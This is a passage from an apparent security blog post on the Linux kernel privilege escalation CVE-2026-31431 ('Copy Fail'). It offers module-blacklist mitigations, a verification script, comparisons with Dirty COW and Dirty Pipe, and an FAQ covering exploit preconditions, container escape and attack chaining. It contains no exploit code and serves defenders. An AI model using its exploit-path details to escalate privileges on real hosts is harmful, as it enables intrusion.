Most container runtimes' default seccomp profiles already block AF_ALG socket creation. Verify your runtime's default profile includes socket with AF_ALG blocked. If you're running pods with seccompProfile: Unconfined or no seccomp profile, those pods are vulnerable.

Also block at the node level:

# On each Kubernetes node
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null

This prevents the module from loading even if a container bypasses the seccomp filter (e.g., via a privileged pod or a container escape).

What Does a Full Post-Incident Verification Look Like?

After applying the kernel patch and removing the module blacklist, run a comprehensive verification:

#!/bin/bash
# verify-cve-2026-31431.sh
 
echo "=== CVE-2026-31431 Verification ==="
echo
 
echo "Kernel version:"
uname -r
echo
 
echo "algif_aead module status:"
if lsmod | grep -q algif_aead; then
    echo "  LOADED (unexpected if patch is applied correctly)"
else
    echo "  NOT LOADED (expected)"
fi
echo
 
echo "modprobe blacklist check:"
if [ -f /etc/modprobe.d/disable-algif-aead.conf ]; then
    echo "  Blacklist file present: $(cat /etc/modprobe.d/disable-algif-aead.conf)"
    echo "  WARNING: If kernel is patched, remove the blacklist and re-test"
else
    echo "  No blacklist (relying on kernel patch)"
fi
echo
 
echo "Running detection script:"
if python3 test_cve_2026_31431.py; then
    echo "  Exit 0: NOT VULNERABLE"
else
    EXIT=$?
    if [ $EXIT -eq 2 ]; then
        echo "  Exit 2: VULNERABLE -- apply mitigation immediately"
        echo ""
        echo "  Applying mitigation..."
        sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
        sudo rmmod algif_aead 2>/dev/null
        echo "  Mitigation applied. Re-run after kernel update."
    fi
fi
echo
 
echo "=== Verification complete ==="

Run this script on every Linux host in your environment. Save the output. Re-run after applying kernel patches to confirm the fix is in place.

What Does This Tell Us About Linux Kernel Security?

Copy Fail is not the last bug of this class. The Linux kernel's security surface is vast, evolving, and reviewed by people with deep expertise in individual subsystems who cannot simultaneously hold the entire kernel in their heads. The page cache, VFS, crypto, networking, and scheduler subsystems each have specialists. The bugs that escape review are the ones that exist at the boundaries between those specialties.

The relevant precedents:

Dirty COW (CVE-2016-5195): A race condition in the VM copy-on-write path, present since 2007, that allowed writes to read-only memory mappings. Required winning a race.

Dirty Pipe (CVE-2022-0847): A bug in the pipe buffer implementation that allowed arbitrary writes to read-only files. Required specific pipe buffer state that was harder to control.

Copy Fail (CVE-2026-31431): A straight-line logic flaw across three subsystems, no race conditions, no timing windows, deterministic and portable. The exploit is simpler than either predecessor.

Each generation of bug is more accessible to exploit -- fewer preconditions, fewer retries, more portable across distributions. This is partly because lower-hanging fruit gets fixed, but also because the exploit techniques improve and the attack surface for multi-subsystem interaction grows as the kernel adds complexity.

The finding mechanism also changed. Dirty COW and Dirty Pipe were found by human researchers. Copy Fail was AI-assisted. The initial insight was human -- Taeyang Lee's hypothesis about page cache pages in crypto scatterlists -- but the systematic search across the entire crypto subsystem that confirmed and connected the components was automated. This is not the last time a "boring" kernel subsystem will yield critical bugs via this kind of AI-assisted cross-subsystem analysis.

For sysadmins and developers: patch quickly, apply mitigations as an intermediate measure, and start treating multi-subsystem interaction as a first-class concern in security reviews. For security researchers: the methodology that found Copy Fail -- formulate a precise hypothesis about a dangerous interaction, then systematically explore all reachable code paths that match the hypothesis -- is replicable across dozens of other kernel subsystem boundaries that haven't been looked at yet.


Frequently Asked Questions

Does CVE-2026-31431 require network access?

No. This is a local privilege escalation. The attacker needs a local user account on the target system. Remote exploitation is not possible with the published PoC -- but a compromised user account, a malicious container running on a shared host, or an SSH session with a normal user login are all sufficient starting points.

Does this affect the Windows Subsystem for Linux (WSL)?

WSL2 runs a real Linux kernel. Check the kernel version WSL2 is using (uname -r inside a WSL2 shell). If the kernel predates the fix and AF_ALG is accessible, WSL2 is affected. WSL2 kernels are updated by Windows Update; check that your WSL2 kernel is current. WSL1 uses a translation layer rather than a real kernel and is not affected.

Does running as a container with a non-root user prevent the exploit?

Within a container, the exploit requires a user with a 4-digit UID for the /etc/passwd path, or knowledge of the target binary's offset for the code injection path. A containerized non-root user with a standard UID in the 1000-9999 range is vulnerable within the container and, depending on mount configuration, may be able to corrupt the host.

Is this exploitable remotely via a web server running as a non-root user?

If the web server process has a UID in the 1000-9999 range and runs on a vulnerable kernel without the module blacklist, then yes, an attacker who achieves code execution in the web server process (e.g., via a deserialization vulnerability or RCE bug) could use write4 to escalate to root. This is a chaining scenario -- the attacker already needs code execution on the server.

Does AppArmor or SELinux block this?

Potentially. An AppArmor profile or SELinux policy that denies socket(AF_ALG, ...) or blocks splice() to AF_ALG sockets will prevent the exploit. Neither AppArmor nor SELinux block these calls by default. Custom policies that restrict crypto socket usage or set strict network policy on unconfined domains may provide partial protection, but the kernel-level module blacklist is the reliable mitigation.


Disclosure was April 29, 2026. The upstream fix landed April 1, 2026. Apply the module blacklist now. Apply the kernel update when it arrives in your distro's repository. Run the detection script to confirm you're clean.

For ongoing CVE coverage, check the CoderOasis cybersecurity section. If you're running containers or Kubernetes on Linux -- and the container escape implications of this bug matter for your threat model -- the self-hosted stack guide covers the isolation and security configuration that applies across all Docker-based deployments.